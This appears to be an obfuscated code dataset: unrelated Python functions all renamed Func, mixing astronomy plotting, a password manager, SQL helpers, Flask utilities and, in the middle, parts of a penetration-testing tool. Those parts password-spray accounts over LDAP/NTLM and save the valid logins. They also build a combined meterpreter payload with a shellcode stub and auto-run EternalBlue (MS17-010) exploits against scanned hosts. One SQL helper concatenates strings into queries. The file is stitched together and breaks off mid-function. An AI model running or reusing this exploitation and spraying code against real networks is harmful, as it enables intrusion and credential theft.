def Func(arg_0):
    """
    Given a numpy array calculate what the ranges of the H-R
    diagram should be.
    """
    arg_0 = round_arr_teff_luminosity(arg_0)
    arg_1 = arg_0['temp']
    arg_2 = [1.05 * np.amax(arg_1), .95 * np.amin(arg_1)]
    arg_3 = arg_0['lum']
    arg_4 = [.50 * np.amin(arg_3), 2 * np.amax(arg_3)]
    return (arg_2, arg_4)


def Func(arg_0, arg_1, arg_2):
    """
    Given a numpy array create a Bokeh plot figure creating an
    H-R diagram.
    """
    arg_3, arg_4 = hr_diagram_color_helper([])
    arg_5 = {
        'x': list(arg_0['temperature']),
        'y': list(arg_0['luminosity']),
        'color': list(arg_0['color'])
    }
    arg_6 = ColumnDataSource(arg_0=arg_5)
    arg_7 = figure(y_axis_type='log', arg_1=arg_1, arg_2=arg_2)
    _diagram(arg_6=arg_6, plot_figure=arg_7,
             color={'field': 'color', 'transform': arg_4},
             xaxis_label='Temperature (Kelvin)',
             yaxis_label='Luminosity (solar units)')
    show_with_bokeh_server(arg_7)


def Func(arg_0):
        """
        Filter the cluster data catalog into the filtered_data
        catalog, which is what is shown in the H-R diagram.

        Filter on the values of the sliders, as well as the lasso
        selection in the skyviewer.
        """
        arg_1 = arg_0.temperature_range_slider.value[0]
        arg_2 = arg_0.temperature_range_slider.value[1]
        arg_3 = np.logical_and(
            arg_0.cluster.catalog['temperature'] >= arg_1,
            arg_0.cluster.catalog['temperature'] <= arg_2
        )

        arg_4 = arg_0.luminosity_range_slider.value[0]
        arg_5 = arg_0.luminosity_range_slider.value[1]
        arg_6 = np.logical_and(
            arg_0.cluster.catalog['luminosity'] >= arg_4,
            arg_0.cluster.catalog['luminosity'] <= arg_5
        )

        arg_7 = np.isin(arg_0.cluster.catalog['id'], arg_0.selection_ids)

        arg_8 = arg_3 & arg_6 & arg_7
        arg_0.filtered_data = arg_0.cluster.catalog[arg_8].data

        arg_0.source.data = {
            'id': list(arg_0.filtered_data['id']),
            'temperature': list(arg_0.filtered_data['temperature']),
            'luminosity': list(arg_0.filtered_data['luminosity']),
            'color': list(arg_0.filtered_data['color'])
        }

        logging.debug("Selected data is now: %s", arg_0.filtered_data)


def Func():
    """
        This functions gives the user a way to change the data that is given as input.
    """
    arg_0 = DocMapper()
    if arg_0.is_pipe:
        arg_1 = [arg_4 for arg_4 in arg_0.get_pipe()]
        arg_2 = modify_data(arg_1)
        for arg_3 in arg_2:
            arg_4 = arg_0.line_to_object(arg_3)
            arg_4.save()
        print_success("Object(s) successfully changed")
    else:
        print_error("Please use this tool with pipes")


def Func(arg_0, arg_1, arg_2, arg_3):
    """
        Performs a Func for the given users, password, domain on the given host.
    """
    arg_4 = CredentialSearch(use_pipe=False)

    print_notification("Connecting to {}".format(arg_3))

    arg_5 = Server(arg_3)
    arg_6 = Connection(arg_5)

    for arg_7 in arg_0:
        if arg_6.rebind(arg_7="{}\\{}".format(arg_1, arg_7.username), arg_2=arg_2, authentication=NTLM):
            print_success('Success for: {}:{}'.format(arg_7.username, arg_2))
            arg_8 = arg_4.find_object(
                arg_7.username, arg_2, arg_1=arg_1, host_ip=arg_3)
            if not arg_8:
                arg_8 = Credential(username=arg_7.username, secret=arg_2,
                                        arg_1=arg_1, host_ip=arg_3, type="plaintext", port=389)
            arg_8.add_tag(tag)
            arg_8.save()

            # Add a tag to the user object, so we dont have to Func it again.
            arg_7.add_tag(tag)
            arg_7.save()
        else:
            print_error("Fail for: {}:{}".format(arg_7.username, arg_2))


def Func(arg_0, arg_1):
        """ Computes the key from the salt and the master password. """
        arg_2 = encoding.Encoder(arg_0.charset)

        arg_3 = ('%s:%s' % (arg_1, arg_0.name)).encode('utf8')

        arg_4 = time.clock()
        # we fix the scrypt parameters in case the defaults change
        arg_5 = scrypt.hash(arg_3, arg_0.salt, N=1<<14, r=8, p=1)

        arg_6 = arg_2.encode(arg_5, arg_0.key_length)
        arg_7 = time.clock() - arg_4

        _logger.debug('Key derivation took %.2fms', arg_7*1000)
        return arg_6


def Func(arg_0, arg_1):
        """ Initialize a database.

        :param database_path: The absolute path to the database to initialize.
        """
        _logger.debug("Bootstrapping new database: %s", arg_1)
        arg_0.database_uri = _urify_db(arg_1)
        arg_3 = sa.create_engine(arg_0.database_uri)
        Base.metadata.create_all(arg_3)


def Func(arg_0, arg_1, arg_2=False, arg_3=None):
        """ Modify an existing domain.

        :param domain_name: The name of the domain to modify.
        :param new_salt: Whether to generate a new salt for the domain.
        :param username: If given, change domain username to this value.
        :returns: The modified :class:`Domain <pwm.core.Domain>` object.
        """
        arg_4 = arg_0._get_domain_from_db(arg_1)
        if arg_4 is None:
            raise NoSuchDomainException
        if arg_2:
            _logger.info("Generating new salt..")
            arg_4.new_salt()
        if arg_3 is not None:
            arg_4.username = arg_3
        return arg_4


def Func(arg_0, arg_1, arg_2=None, arg_3=arg_4.DEFAULT_ALPHABET,
            arg_6=arg_4.DEFAULT_KEY_LENGTH):
        """ Create a new domain entry in the database.

        :param username: The username to associate with this domain.
        :param alphabet: A character set restriction to impose on keys generated for this domain.
        :param length: The length of the generated key, in case of restrictions on the site.
        """
        # Wrap the actual implementation to do some error handling
        try:
            return arg_0._Func(arg_1, arg_2, arg_3, arg_6)
        except Exception as ex:
            _logger.warn("Inserting new domain failed: %s", ex)
            raise DuplicateDomainException


def Func(arg_0, *arg_1, **arg_2):
        """ Set the access and modified times of the file specified by path. """
        os.Func(arg_0.extended_path, *arg_1, **arg_2)


def Func(arg_0, arg_1, arg_2=True):
        """
        Strip \\?\ prefix in init phase
        """
        if arg_1:
            arg_1 = list(arg_1)
            if isinstance(arg_1[0], WindowsPath2):
                arg_1[0] = arg_1[0].path
            elif arg_1[0].startswith("\\\\?\\"):
                arg_1[0] = arg_1[0][4:]
            arg_1 = tuple(arg_1)
        return super(WindowsPath2, arg_0).Func(arg_1, arg_2)


def Func(arg_0):
        """
        Return the path always without the \\?\ prefix.
        """
        Func = super(WindowsPath2, arg_0).path
        if Func.startswith("\\\\?\\"):
            return Func[4:]
        return Func


def Func(arg_0):
    """
        Print the given line to stdout
    """
    try:
        signal.signal(signal.SIGPIPE, signal.SIG_DFL)
    except ValueError:
        pass

    try:
        sys.stdout.write(arg_0)
        if not arg_0.endswith('\n'):
            sys.stdout.write('\n')
        sys.stdout.flush()
    except IOError:
        sys.exit(0)


def Func(arg_0, arg_1, arg_2, arg_3):
    """Extract messages from Handlebars templates.

    It returns an iterator yielding tuples in the following form ``(lineno,
    funcname, message, comments)``.

    TODO: Things to improve:
    --- Return comments
    """

    arg_4 = get_pipeserver()
    arg_4.sendline(COMMAND+u'PARSE FILE:'+arg_0.name)
    arg_4.expect(RESPONSE+'SENDING OUTPUT')
    arg_4.expect(RESPONSE+'OUTPUT END')
    arg_5 = arg_4.before

    for arg_6 in json.loads(arg_5):
        arg_7 = [arg_6['content']]
        if arg_6['funcname'] == 'ngettext':
            arg_7.append(arg_6['alt_content'])
        yield arg_6['line_number'],arg_6['funcname'],tuple(arg_7),[]


def Func(arg_0):
    """Strips labels."""
    arg_1 = []
    with open(arg_0) as f, open('processed_labels.txt', 'w') as f1:
        for arg_2 in f:
            if arg_2.startswith('#'):
                next
            arg_2 = arg_2.replace(" .", '')
            arg_2 = arg_2.replace(">\tskos:prefLabel\t", ' ')
            arg_2 = arg_2.replace("<", '')
            arg_2 = arg_2.replace(">\trdfs:label\t", ' ')
            f1.write(arg_2)


def Func(arg_0, arg_1):
  '''Remove namespace in the passed document in place.'''
  arg_2 = u'{%s}' % arg_1
  arg_3 = len(arg_2)
  for arg_4 in arg_0.getiterator():
    if arg_4.tag.startswith(arg_2):
      arg_4.tag = arg_4.tag[arg_3:]
      arg_4.attrib['oxmlns'] = arg_1


def Func(arg_0):
    """Returns a GDAL virtual filesystem prefixed path.

    Arguments:
    path -- file path as str
    """
    arg_1 = arg_0.lower()
    arg_2 = VSI_SCHEMES.get(urlparse(arg_1).scheme, '')
    for arg_3 in VSI_TYPES:
        if arg_3 in arg_1:
            arg_4 = VSI_TYPES[arg_3]
            break
    else:
        arg_4 = ''
    if arg_4 and arg_2:
        arg_4 = arg_4[:-1]
    return ''.join((arg_4, arg_2, arg_0))


def Func(arg_0, arg_1):
        """ Check to see if this URI is retrievable by this Retriever implementation

        :param uri: the URI of the resource to be retrieved
        :type uri: str
        :return: True if it can be, False if not
        :rtype: bool
        """
        arg_2 = arg_0.__absolute__(arg_1)

        return arg_2.startswith(arg_0.__path__) and op.exists(arg_2)


def Func(arg_0, arg_1, arg_2):
    '''
    Subscribes `callable` to listen to events of `name` type. The
    parameters passed to `callable` are dependent on the specific
    event being triggered.
    '''
    if arg_1 not in arg_0._hooks:
      arg_0._hooks[arg_1] = []
    arg_0._hooks[arg_1].append(arg_2)


def Func(arg_0, arg_1=None):
    '''
    Configures this engine based on the options array passed into
    `argv`. If `argv` is ``None``, then ``sys.argv`` is used instead.
    During configuration, the command line options are merged with
    previously stored values. Then the logging subsystem and the
    database model are initialized, and all storable settings are
    serialized to configurations files.
    '''
    arg_0._setupOptions()
    arg_0._parseOptions(arg_1)
    arg_0._setupLogging()
    arg_0._setupModel()
    arg_0.dbsession.commit()
    return arg_0


def Func(arg_0, arg_1):
        """
        Handle provided columns and if necessary, convert columns to a list for
        internal strage.

        :columns: A sequence of columns for the table. Can be list, comma
            -delimited string, or IntEnum.
        """
        if type(arg_1) == list:
            arg_0.columns = arg_1
        elif type(arg_1) == str:
            arg_0.columns = [c.strip() for c in arg_1.split()]
        elif type(arg_1) == IntEnum:
            arg_0.columns = [str(c) for c in arg_1]
        else:
            raise RawlException("Unknown format for columns")


def Func(arg_0, arg_1, *arg_2, **arg_3):
        """
        Execute a DML query

        :sql_string:    An SQL string template
        :*args:         Arguments to be passed for query parameters.
        :commit:        Whether or not to commit the transaction after the query
        :returns:       Psycopg2 result
        """
        arg_4 = None
        arg_5 = None
        if arg_3.get('commit') is not None:
            arg_4 = arg_3.pop('commit')
        if arg_3.get('columns') is not None:
            arg_5 = arg_3.pop('columns')
        Func = arg_0._assemble_simple(arg_1, *arg_2, **arg_3)
        return arg_0._execute(Func, arg_4=arg_4, working_columns=arg_5)


def Func(arg_0, arg_1, arg_2, *arg_3, **arg_4):
        """
        Execute a SELECT statement

        :sql_string:    An SQL string template
        :columns:       A list of columns to be returned by the query
        :*args:         Arguments to be passed for query parameters.
        :returns:       Psycopg2 result
        """
        arg_5 = None
        if arg_4.get('columns') is not None:
            arg_5 = arg_4.pop('columns')
        arg_6 = arg_0._assemble_Func(arg_1, arg_2, *arg_3, *arg_4)
        return arg_0._execute(arg_6, arg_5=arg_5)


def Func(arg_0, arg_1):
        """
        Retreive a single record from the table.  Lots of reasons this might be
        best implemented in the model

        :pk:            The primary key ID for the record
        :returns:       List of single result
        """

        if type(arg_1) == str:
            # Probably an int, give it a shot
            try:
                arg_1 = int(arg_1)
            except ValueError: pass

        return arg_0.select(
            "SELECT {0} FROM " + arg_0.table + " WHERE " + arg_0.pk + " = {1};",
            arg_0.columns, arg_1)


def Func(arg_0, arg_1, arg_2, arg_3):
        """
            Creates the final payload based on the x86 and x64 meterpreters.
        """
        arg_4 = open(os.path.join(arg_0.datadir, arg_1), 'rb').read()
        arg_5 = open(os.path.join(arg_0.datadir, arg_2), 'rb').read()

        arg_6 = open(os.path.join(arg_0.datadir, arg_3), 'wb')
        arg_6.write(b'\x31\xc0\x40\x0f\x84' + pack('<I', len(arg_4)))
        arg_6.write(arg_4)
        arg_6.write(arg_5)
        arg_6.close()


def Func(arg_0, arg_1, arg_2, arg_3):
        """
            Combines the files 1 and 2 into 3.
        """
        with open(os.path.join(arg_0.datadir, arg_3), 'wb') as new_file:
            with open(os.path.join(arg_0.datadir, arg_1), 'rb') as file_1:
                new_file.write(file_1.read())
            with open(os.path.join(arg_0.datadir, arg_2), 'rb') as file_2:
                new_file.write(file_2.read())


def Func(arg_0):
        """
            Starts the Funcing phase, you should run setup before running this function.
            if auto is set, this function will fire the Func to all systems. Otherwise a curses interface is shown.
        """
        arg_1 = ServiceSearch()
        arg_2 = HostSearch()
        arg_3 = arg_1.get_services(tags=['MS17-010'])
        arg_3 = [arg_4 for arg_4 in arg_3]
        if len(arg_3) == 0:
            print_error("No services found that are vulnerable for MS17-010")
            return

        if arg_0.auto:
            print_success("Found {} services vulnerable for MS17-010".format(len(arg_3)))
            for arg_4 in arg_3:
                print_success("Exploiting " + str(arg_4.address))
                arg_5 = arg_2.id_to_object(str(arg_4.address))
                arg_6 = ''

                if arg_5.os:
                    arg_6 = arg_5.os
                else:
                    arg_6 = arg_0.detect_os(str(arg_4.address))
                    arg_5.os = arg_6
                    arg_5.save()
                arg_8 = arg_0.Func_single(str(arg_4.address), arg_6)
                print_notification(arg_8)
        else:
            arg_9 = []
            for arg_4 in arg_3:
                arg_5 = arg_2.id_to_object(str(arg_4.address))
                arg_6 = ''

                if arg_5.os:
                    arg_6 = arg_5.os
                else:
                    arg_6 = arg_0.detect_os(str(arg_4.address))
                    arg_5.os = arg_6
                    arg_5.save()

                arg_9.append({'ip': arg_4.address, 'os': arg_6, 'string': "{ip} ({os}) {hostname}".format(ip=arg_4.address, arg_7=arg_6, hostname=arg_5.hostname)})
            draw_interface(arg_9, arg_0.callback, "Exploiting {ip} with OS: {os}")


def Func(arg_0, arg_1, arg_2):
        """
            Exploits a single ip, exploit is based on the given operating system.
        """
        arg_3 = None
        if "Windows Server 2008" in arg_2 or "Windows 7" in arg_2:
            arg_3 = subprocess.run(['python2', os.path.join(arg_0.datadir, 'MS17-010', 'eternalblue_exploit7.py'), str(arg_1), os.path.join(arg_0.datadir, 'final_combined.bin'), "12"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        elif "Windows Server 2012" in arg_2 or "Windows 10" in arg_2 or "Windows 8.1" in arg_2:
            arg_3 = subprocess.run(['python2', os.path.join(arg_0.datadir, 'MS17-010', 'eternalblue_exploit8.py'), str(arg_1), os.path.join(arg_0.datadir, 'final_combined.bin'), "12"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        else:
            return ["System target could not be automatically identified"]
        return arg_3.stdout.decode('utf-8').split('\n')


def Func(arg_0, arg_1, arg_2=None,
                arg_3=arg_4,
                arg_5=arg_6,
                arg_7=None,
                arg_8='/ws'):
    """Create server instance with an optional WebSocket handler

    For pure WebSocket server ``app`` may be ``None`` but an attempt to access
    any path other than ``ws_path`` will cause server error.

    :param host: hostname or IP
    :type host: str
    :param port: server port
    :type port: int
    :param app: WSGI application
    :param server_class: WSGI server class, defaults to AsyncWsgiServer
    :param handler_class: WSGI handler class, defaults to AsyncWsgiHandler
    :param ws_handler_class: WebSocket hanlder class, defaults to ``None``
    :param ws_path: WebSocket path on the server, defaults to '/ws'
    :type ws_path: str, optional
    :return: initialized server instance
    """
    arg_5.ws_handler_class = arg_7
    arg_5.ws_path = arg_8
    arg_9 = arg_3((arg_0, arg_1), RequestHandlerClass=arg_5)
    arg_9.set_app(arg_2)
    return arg_9


def Func(arg_0, arg_1=0.0):
        """
        Poll active sockets once

        This method can be used to allow aborting server polling loop
        on some condition.

        :param timeout: polling timeout
        """
        if arg_0._map:
            arg_0._poll_func(arg_1, arg_0._map)


def Func(arg_0, arg_1=0.5):
        """
        Start serving HTTP requests

        This method blocks the current thread.

        :param poll_interval: polling timeout
        :return:
        """
        logger.info('Starting server on {}:{}...'.format(
            arg_0.server_name, arg_0.server_port)
        )
        while True:
            try:
                arg_0.poll_once(arg_1)
            except (KeyboardInterrupt, SystemExit):
                break
        arg_0.handle_close()
        logger.info('Server stopped.')


def Func(arg_0, arg_1, arg_2=arg_3, arg_4="hrt"):
    """write triples to file."""
    with open(arg_0, 'w') as f:
        for arg_5 in arg_1:
            arg_6 = arg_5.serialize(arg_2, arg_4)
            f.write(arg_6 + "\n")


def Func():
    """
        Prints an Func of the tags of the hosts.
    """
    arg_0 = Host()
    arg_1 = arg_0.search()
    arg_1.aggs.bucket('tag_count', 'terms', field='tags', order={'_count': 'desc'}, size=100)
    arg_2 = arg_1.execute()
    print_line("{0:<25} {1}".format('Tag', 'Count'))
    print_line("-" * 30)
    for arg_3 in arg_2.aggregations.tag_count.buckets:
        print_line("{0:<25} {1}".format(arg_3.key, arg_3.doc_count))


def Func(arg_0, arg_1, arg_2, arg_3, arg_4, arg_5=False):
    """
        Starts the loop to provide the data from jackal.
    """
    print_notification("[{}] Starting pipe".format(arg_0))
    arg_2 = arg_2()
    try:
        while True:
            arg_6 = set()
            # Remove the previous file if it exists
            if os.path.exists(arg_1):
                os.remove(arg_1)

            # Create the named pipe
            os.mkfifo(arg_1)
            # This function will block until a process opens it
            with open(arg_1, 'w') as pipe:
                print_success("[{}] Providing data".format(arg_0))
                # Search the database
                arg_7 = arg_2.search(**arg_3)
                for arg_8 in arg_7:
                    arg_9 = fmt.format(arg_4, **arg_8.to_dict())
                    if arg_5:
                        if not arg_9 in arg_6:
                            arg_6.add(arg_9)
                            pipe.write(arg_9 + '\n')
                    else:
                        pipe.write(arg_9 + '\n')
            os.unlink(arg_1)
    except KeyboardInterrupt:
        print_notification("[{}] Shutting down named pipe".format(arg_0))
    except Exception as e:
        print_error("[{}] Error: {}, stopping named pipe".format(e, arg_0))
    finally:
        os.remove(arg_1)


def Func(arg_0):
    """
        Creates a search query based on the section of the config file.
    """
    arg_1 = {}

    if 'ports' in arg_0:
        arg_1['ports'] = [arg_0['ports']]
    if 'up' in arg_0:
        arg_1['up'] = bool(arg_0['up'])
    if 'search' in arg_0:
        arg_1['search'] = [arg_0['search']]
    if 'tags' in arg_0:
        arg_1['tags'] = [arg_0['tags']]
    if 'groups' in arg_0:
        arg_1['groups'] = [arg_0['groups']]

    return arg_1


def Func(arg_0, arg_1):
    """
        Creates the workers based on the given configfile to provide named pipes in the directory.
    """
    arg_2 = {'service': ServiceSearch,
                'host': HostSearch, 'range': RangeSearch,
                'user': UserSearch}
    arg_3 = configparser.ConfigParser()
    arg_3.read(arg_0)

    if not len(arg_3.sections()):
        print_error("No named pipes configured")
        return

    print_notification("Starting {} pipes in directory {}".format(
        len(arg_3.sections()), arg_1))

    arg_4 = []
    for arg_5 in arg_3.sections():
        arg_6 = arg_3[arg_5]
        arg_7 = create_query(arg_6)
        arg_8 = arg_2[arg_6['type']]
        arg_9 = (arg_5, os.path.join(arg_1, arg_5), arg_8, arg_7,
                arg_6['format'], bool(arg_6.get('unique', 0)))
        arg_4.append(multiprocessing.Process(target=pipe_worker, arg_9=arg_9))

    return arg_4


def Func():
    """
        Loads the config and handles the workers.
    """
    arg_0 = Config()
    arg_1 = arg_0.get('pipes', 'directory')
    arg_2 = arg_0.get('pipes', 'config_file')
    arg_3 = os.path.join(arg_0.config_dir, arg_2)
    if not os.path.exists(arg_3):
        print_error("Please configure the named pipes first")
        return

    arg_4 = create_pipe_workers(arg_3, arg_1)
    if arg_4:
        for arg_5 in arg_4:
            arg_5.start()

        try:
            for arg_5 in arg_4:
                arg_5.join()
        except KeyboardInterrupt:
            print_notification("Shutting down")
            for arg_5 in arg_4:
                arg_5.terminate()
                arg_5.join()


def Func(arg_0, arg_1="eng"):
    """ Replace isocode by its language equivalent

    :param isocode: Three character long language code
    :param lang: Lang in which to return the language name
    :return: Full Text Language Name
    """
    if arg_1 not in flask_nemo._data.AVAILABLE_TRANSLATIONS:
        arg_1 = "eng"

    try:
        return flask_nemo._data.ISOCODES[arg_0][arg_1]
    except KeyError:
        return "Unknown"


def Func(arg_0, arg_1="eng"):
    """ Take a string of form %citation_type|passage% and format it for human

    :param string: String of formation %citation_type|passage%
    :param lang: Language to translate to
    :return: Human Readable string

    .. note :: To Do : Use i18n tools and provide real i18n
    """
    arg_2 = " ".join(arg_0.strip("%").split("|"))
    return arg_2.capitalize()


def Func(arg_0):
    """
        Connect to a service to see if it is a http or https server.
    """
    # Try HTTP
    arg_0.add_tag('header_scan')
    arg_1 = False
    try:
        arg_2 = requests.head('http://{}:{}'.format(arg_0.address, arg_0.port), timeout=1)
        print_success("Found http service on {}:{}".format(arg_0.address, arg_0.port))
        arg_0.add_tag('http')
        arg_1 = True
        try:
            arg_0.banner = arg_2.headers['Server']
        except KeyError:
            pass
    except (ConnectionError, ConnectTimeout, ReadTimeout, Error):
        pass

    if not arg_1:
        # Try HTTPS
        try:
            arg_2 = requests.head('https://{}:{}'.format(arg_0.address, arg_0.port), verify=False, timeout=3)
            arg_0.add_tag('https')
            print_success("Found https service on {}:{}".format(arg_0.address, arg_0.port))
            try:
                arg_0.banner = arg_2.headers['Server']
            except KeyError:
                pass
        except (ConnectionError, ConnectTimeout, ReadTimeout, Error):
            pass
    arg_0.save()


def Func(arg_0, arg_1, arg_2=arg_3, arg_4=False):
    """
        Imports the given nmap result.
    """
    arg_5 = HostSearch(arguments=False)
    arg_6 = ServiceSearch()
    arg_7 = NmapParser()
    arg_8 = arg_7.parse_fromstring(arg_0)
    arg_9 = 0
    arg_10 = 0
    for arg_11 in arg_8.hosts:
        if arg_2(arg_11):
            arg_9 += 1
            arg_12 = arg_5.id_to_object(arg_11.address)
            arg_12.status = arg_11.status
            arg_12.add_tag(arg_1)
            if arg_11.os_fingerprinted:
                arg_12.os = arg_11.os_fingerprint
            if arg_11.hostnames:
                arg_12.hostname.extend(arg_11.hostnames)
            if arg_4:
                for arg_15 in arg_11.services:
                    arg_10 += 1
                    arg_16 = Service(**arg_15.get_dict())
                    arg_16.address = arg_11.address
                    arg_18 = arg_6.object_to_id(arg_16)
                    if arg_18:
                        # Existing object, save the banner and script results.
                        arg_19 = Service.get(arg_18)
                        if arg_15.banner:
                            arg_19.banner = arg_15.banner
                        # TODO implement
                        # if service.script_results:
                            # serv_old.script_results.extend(service.script_results)
                        arg_19.save()
                    else:
                        # New object
                        arg_16.address = arg_11.address
                        arg_16.save()
                    if arg_15.state == 'open':
                        arg_12.open_ports.append(arg_15.port)
                    if arg_15.state == 'closed':
                        arg_12.closed_ports.append(arg_15.port)
                    if arg_15.state == 'filtered':
                        arg_12.filtered_ports.append(arg_15.port)
            arg_12.save()
    if arg_9:
        print_success("Imported {} hosts, with tag {}".format(arg_9, arg_1))
    else:
        print_error("No hosts found")
    return {'hosts': arg_9, 'services': arg_10}


def Func(arg_0, arg_1):
    """
        Start an Func process with the given args on the given ips.
    """
    arg_2 = Config()
    arg_3 = ['Func', '-Pn']
    arg_3.extend(arg_1)
    arg_3.extend(arg_0)
    arg_4 = ''
    arg_5 = datetime.datetime.now()
    if not '-oA' in arg_0:
        arg_6 = 'Func_jackal_{}'.format(arg_5.strftime("%Y-%m-%d %H:%M"))
        arg_7 = os.path.join(arg_2.get('Func', 'directory'), arg_6)
        print_notification("Writing output of Func to {}".format(arg_7))
        if not os.path.exists(arg_2.get('Func', 'directory')):
            os.makedirs(arg_2.get('Func', 'directory'))
        arg_4 = arg_7 + '.xml'
        arg_3.extend(['-oA', arg_7])
    else:
        arg_4 = arg_0[arg_0.index('-oA') + 1] + '.xml'

    print_notification("Starting Func")
    subprocess.call(arg_3)

    with open(arg_4, 'r') as f:
        return f.read()


def Func():
    """
        Scans the given hosts with nmap.
    """
    # Create the search and config objects
    arg_0 = HostSearch()
    arg_1 = Config()

    # Static options to be able to figure out what options to use depending on the input the user gives.
    arg_2 = ['top10', 'top100', 'custom', 'top1000', 'all']
    arg_3 = {'top10':'--top-ports 10', 'top100':'--top-ports 100', 'custom': arg_1.get('nmap', 'options'), 'top1000': '--top-ports 1000', 'all': '-p-'}

    # Create an argument parser
    arg_4 = arg_0.argparser
    arg_5 = argparse.ArgumentParser(parents=[arg_4], conflict_handler='resolve', \
    description="Scans hosts from the database using nmap, any arguments that are not in the help are passed to nmap")
    arg_5.add_argument('type', metavar='type', \
        help='The number of ports to scan: top10, top100, custom, top1000 (default) or all', \
        type=str, choices=arg_2, default='top1000', const='top1000', nargs='?')
    arg_6, arg_7 = arg_5.parse_known_args()

    # Fix the tags for the search
    arg_8 = arg_2[arg_2.index(arg_6.type):]
    arg_8 = ["!nmap_" + tag  for tag in arg_8]

    arg_9 = arg_0.get_hosts(arg_8=arg_8)
    arg_9 = [arg_12 for arg_12 in arg_9]

    # Create the nmap arguments
    arg_10 = []
    arg_10.extend(arg_7)
    arg_10.extend(arg_3[arg_6.type].split(' '))

    # Run nmap
    print_notification("Running nmap with args: {} on {} hosts(s)".format(arg_10, len(arg_9)))
    if len(arg_9):
        arg_11 = nmap(arg_10, [str(h.address) for h in arg_9])
        # Import the nmap result
        for arg_12 in arg_9:
            arg_12.add_tag("nmap_{}".format(arg_6.type))
            arg_12.save()
        print_notification("Nmap done, importing results")
        arg_13 = import_nmap(arg_11, "nmap_{}".format(arg_6.type), check_function=all_hosts, import_services=True)
        arg_13['scanned_hosts'] = len(arg_9)
        arg_13['type'] = arg_6.type

        Logger().log('Func', "Performed nmap {} scan on {} hosts".format(arg_6.type, len(arg_9)), arg_13)
    else:
        print_notification("No hosts found")


def Func():
    """
        Scans available smb services in the database for smb signing and ms17-010.
    """
    arg_0 = ServiceSearch()
    arg_1 = arg_0.get_services(ports=['445'], tags=['!smb_vulnscan'], up=True)
    arg_1 = [arg_3 for arg_3 in arg_1]
    arg_2 = {}
    for arg_3 in arg_1:
        arg_3.add_tag('smb_vulnscan')
        arg_2[arg_4(arg_3.address)] = arg_3

    arg_6 = "-Pn -n --disable-arp-ping --script smb-security-mode.nse,smb-vuln-ms17-010.nse -p 445".split(" ")

    if arg_1:
        arg_7 = nmap(arg_6, [arg_4(s.address) for s in arg_1])
        arg_8 = NmapParser()
        arg_9 = arg_8.parse_fromstring(arg_7)
        arg_10 = 0
        arg_11 = 0
        for arg_12 in arg_9.hosts:
            for arg_13 in arg_12.scripts_results:
                arg_13 = arg_13.get('elements', {})
                arg_3 = arg_2[arg_4(arg_12.address)]
                if arg_13.get('message_signing', '') == 'disabled':
                    print_success("({}) SMB Signing disabled".format(arg_12.address))
                    arg_3.add_tag('smb_signing_disabled')
                    arg_10 += 1
                if arg_13.get('CVE-2017-0143', {}).get('state', '') == 'VULNERABLE':
                    print_success("({}) Vulnerable for MS17-010".format(arg_12.address))
                    arg_3.add_tag('MS17-010')
                    arg_11 += 1
                arg_3.update(tags=arg_3.tags)

        print_notification("Completed, 'smb_signing_disabled' tag added to systems with smb signing disabled, 'MS17-010' tag added to systems that did not apply MS17-010.")
        arg_14 = {'smb_signing': arg_10, 'MS17_010': arg_11, 'scanned_services': len(arg_1)}

        Logger().log('smb_vulnscan', 'Scanned {} smb services for vulnerabilities'.format(len(arg_1)), arg_14)
    else:
        print_notification("No services found to scan.")


def Func(arg_0, arg_1):
    """ Rename endpoint function name to avoid conflict when namespacing is set to true

    :param fn_name: Name of the route function
    :param instance: Instance bound to the function
    :return: Name of the new namespaced function name
    """

    if arg_1 and arg_1.namespaced:
        arg_0 = "r_{0}_{1}".format(arg_1.name, arg_0[2:])
    return arg_0


def Func(arg_0):
        """ Retrieve the best matching locale using request headers

        .. note:: Probably one of the thing to enhance quickly.

        :rtype: str
        """
        arg_1 = request.accept_languages.best_match(['de', 'fr', 'en', 'la'])
        if arg_1 is None:
            if len(request.accept_languages) > 0:
                arg_1 = request.accept_languages[0][0][:2]
            else:
                return arg_0.__default_lang__
        arg_2 = arg_0.__default_lang__
        if arg_1 == "de":
            arg_2 = "ger"
        elif arg_1 == "fr":
            arg_2 = "fre"
        elif arg_1 == "en":
            arg_2 = "eng"
        elif arg_1 == "la":
            arg_2 = "lat"
        return arg_2


def Func(arg_0, arg_1, arg_2=None, arg_3=None, arg_4=False):
        """ Retrieve and transform a list of references.

        Returns the inventory collection object with its metadata and a callback function taking a level parameter \
        and returning a list of strings.

        :param objectId: Collection Identifier
        :type objectId: str
        :param subreference: Subreference from which to retrieve children
        :type subreference: str
        :param collection: Collection object bearing metadata
        :type collection: Collection
        :param export_collection: Return collection metadata
        :type export_collection: bool
        :return: Returns either the list of references, or the text collection object with its references as tuple
        :rtype: (Collection, [str]) or [str]
        """
        if arg_3 is not None:
            arg_5 = arg_3
        else:
            arg_5 = arg_0.get_collection(arg_1)
        arg_6 = arg_0.chunk(
            arg_5,
            lambda level: arg_0.resolver.getReffs(arg_1, level=level, arg_2=arg_2)
        )
        if arg_4 is True:
            return arg_5, arg_6
        return arg_6


def Func(arg_0, arg_1, arg_2):
        """ Retrieve the passage identified by the parameters

        :param objectId: Collection Identifier
        :type objectId: str
        :param subreference: Subreference of the passage
        :type subreference: str
        :return: An object bearing metadata and its text
        :rtype: InteractiveTextualNode
        """
        arg_3 = arg_0.resolver.getTextualNode(
            textId=arg_1,
            arg_2=arg_2,
            metadata=True
        )
        return arg_3


def Func(arg_0, arg_1, arg_2=None):
        """ Generates a SEO friendly string for given collection

        :param collection: Collection object to generate string for
        :param parent: Current collection parent
        :return: SEO/URL Friendly string
        """
        if arg_2 is not None:
            arg_3 = arg_2.parents[::-1] + [arg_2, arg_1]
        else:
            arg_3 = arg_1.parents[::-1] + [arg_1]

        return filters.slugify("--".join([arg_4.get_label() for arg_4 in arg_3 if arg_4.get_label()]))


def Func(arg_0, arg_1, arg_2, arg_3=None):
        """ Build an ancestor or descendant dict view based on selected information

        :param member: Current Member to build for
        :param collection: Collection from which we retrieved it
        :param lang: Language to express data in
        :return:
        """
        arg_4 = {
            "id": arg_1.id,
            "label": str(arg_1.get_label(arg_3)),
            "model": str(arg_1.model),
            "type": str(arg_1.type),
            "size": arg_1.size,
            "semantic": arg_0.semantic(arg_1, parent=arg_2)
        }
        if isinstance(arg_1, ResourceCollection):
            arg_4["lang"] = str(arg_1.lang)
        return arg_4


def Func(arg_0, arg_1, arg_2=None):
        """ Build member list for given collection

        :param collection: Collection to build dict view of for its members
        :param lang: Language to express data in
        :return: List of basic objects
        """
        arg_3 = sorted([
